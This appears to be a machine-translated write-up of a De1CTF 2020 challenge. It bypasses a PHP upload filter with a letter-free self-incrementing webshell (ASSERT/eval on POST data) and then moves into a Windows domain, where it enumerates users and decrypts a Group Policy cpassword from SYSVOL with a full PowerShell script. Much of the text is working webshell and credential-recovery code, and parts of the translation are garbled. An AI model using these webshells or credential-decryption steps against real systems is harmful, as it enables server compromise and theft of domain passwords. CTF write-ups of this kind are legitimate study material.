Open the source code directly, see that it is a file upload, check the file size and pass a Check() function judgment, and take a look at the Check() function
function Check(){ $BlackExts = array("php"); $ext = explode(".", $_FILES["file"]["name"]); $exts = trim(end($ext)); $file_content = file_get_contents($_FILES["file"]["tmp_name"]); if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content) && !in_array($exts, $BlackExts) && !preg_match('/\.\./',$_FILES["file"]["name"])) { return true; } return false; }
$BlackExts has a suffix blacklist, which filters PHP, but there is no matching case in preg_match, so it can be bypassed by PHP, and it can also be parsed into PHP
Then, we can see that there is a regular pattern of file content matching, which indicates that this is to directly check the content of the uploaded file. We can see that preg match thinks about three bypasses of preg match
- Pass array, directly returned to false
- The upper limit of recursion is bypassed, which is generally used in file upload post. The upper limit is usually 1000000, which also returns false
- preg_match('/^flag$/',subject) only matches the contents of the first line. Pass in \ nflag to bypass
Here, preg ﹣ match requires returning true. It doesn't matter if the above bypasses, so just connect to the rule
Analyze the regular rule matching to letters a-z, numbers 0-9 and symbols; ~ ^ & | 'and case sensitive and matching newline (/ s). There are three shell writing methods for normal character free injection
- Or shell (^)
- Reverse shell (~)
- Self increasing shell (+)
If ^ and ~ are filtered here, then only the possibility of self increasing shell is left. Find a script, and the shell constructed is ASSERT($_POST []);
<?php $_=[]; $_=@"$_"; // $_='Array'; $_=$_['!'=='@']; // $_=$_[0]; $___=$_; // A $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; // S $___.=$__; // S $__=$_; $__++;$__++;$__++;$__++; // E $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $___.=$__; $____='_'; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $____.=$__; $_=$$____; $___($_[_]); // ASSERT($_POST[_]);
In order to facilitate the connection of ant sword, it is necessary to rewrite the system to write a new file. At the same time, it is also filtered. Each sentence is bypassed by a short tag (<? = phpinfo()? >)
The modified script is as follows
__=file_put_contents&_=3.php&___=<?=eval($_POST['2'])?>
<?=$_=[]?><?=$_=@"$_"?><?=$_=$_['!'=='@']?><?=$___=$_?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?= $___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$____='_'?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$_=$$____?><?=$_[__]($_[_],$_[___])?>
After ant sword logs in, it's found that it's a Windows Server. When I look at the next file, I see this
First, give it to misc team-mates for blasting, no result, and then continue to search
The problem encountered here is the penetration of Windows server. Let's take a look at some preliminary knowledge
- Domain: it is a group of network object users, groups, computers, etc. Domain is a security boundary in Windows operating system. Neither security policy nor access control can span different domains. Every domain administrator has the right to set the policy of his domain
The domain can be understood as a working group with password encryption. The working group is unprotected. The domain can authenticate and control the login user according to the set domain rules, which will be more secure. Some domain penetration commands are sorted out
net use to view the connected network image net user /domain query the list of all users in the domain net user admin /domain query domain specific user details net group /domain view the list of workgroups in the domain systeminfo system information
Here are some Command reference for Windows penetration
$ net user /domain
find
There is a user name hintzip ﹣ pass. Guess that the user is related to the password of the compressed package. Maybe the user's password is the password of the compressed package. Search for an article related to the password of the domain user Article
In short
\In the SYSVOL path, some configuration information of users in the domain is saved - > find the configuration information of hintzip \
1) Path format \ \ < domain > \ SYSVOL \ < domain > \, in this case, \ \ De1CTF2020.lab\SYSVOL\De1CTF2020.lab\
2) Find the configuration file of HintZip_Pass in the path / / De1CTF2020.lab/SYSVOL/De1CTF2020.lab/Policies/{B1248E1E-B97D-4C41-8EA4-1F2600F9264B}/Machine/Preferences/Groups /
3) Restore key with script
function Get-DecryptedCpassword { [CmdletBinding()] Param ( [string] $Cpassword ) try { #Append appropriate padding based on string length $Mod = ($Cpassword.length % 4) switch ($Mod) { '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)} '2' {$Cpassword += ('=' * (4 - $Mod))} '3' {$Cpassword += ('=' * (4 - $Mod))} } $Base64Decoded = [Convert]::FromBase64String($Cpassword) #Create a new AES .NET Crypto Object $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) #Set IV to all nulls to prevent dynamic generation of IV value $AesIV = New-Object Byte[]($AesObject.IV.Length) $AesObject.IV = $AesIV $AesObject.Key = $AesKey $DecryptorObject = $AesObject.CreateDecryptor() [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) } catch {Write-Error $Error[0]} } Get-DecryptedCpassword "uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08"
Create a new script file 1.ps1 on the target machine, and then execute powershell -executionpolicy bypass -file 2.ps1 to obtain the key zl1pp @ sswo3d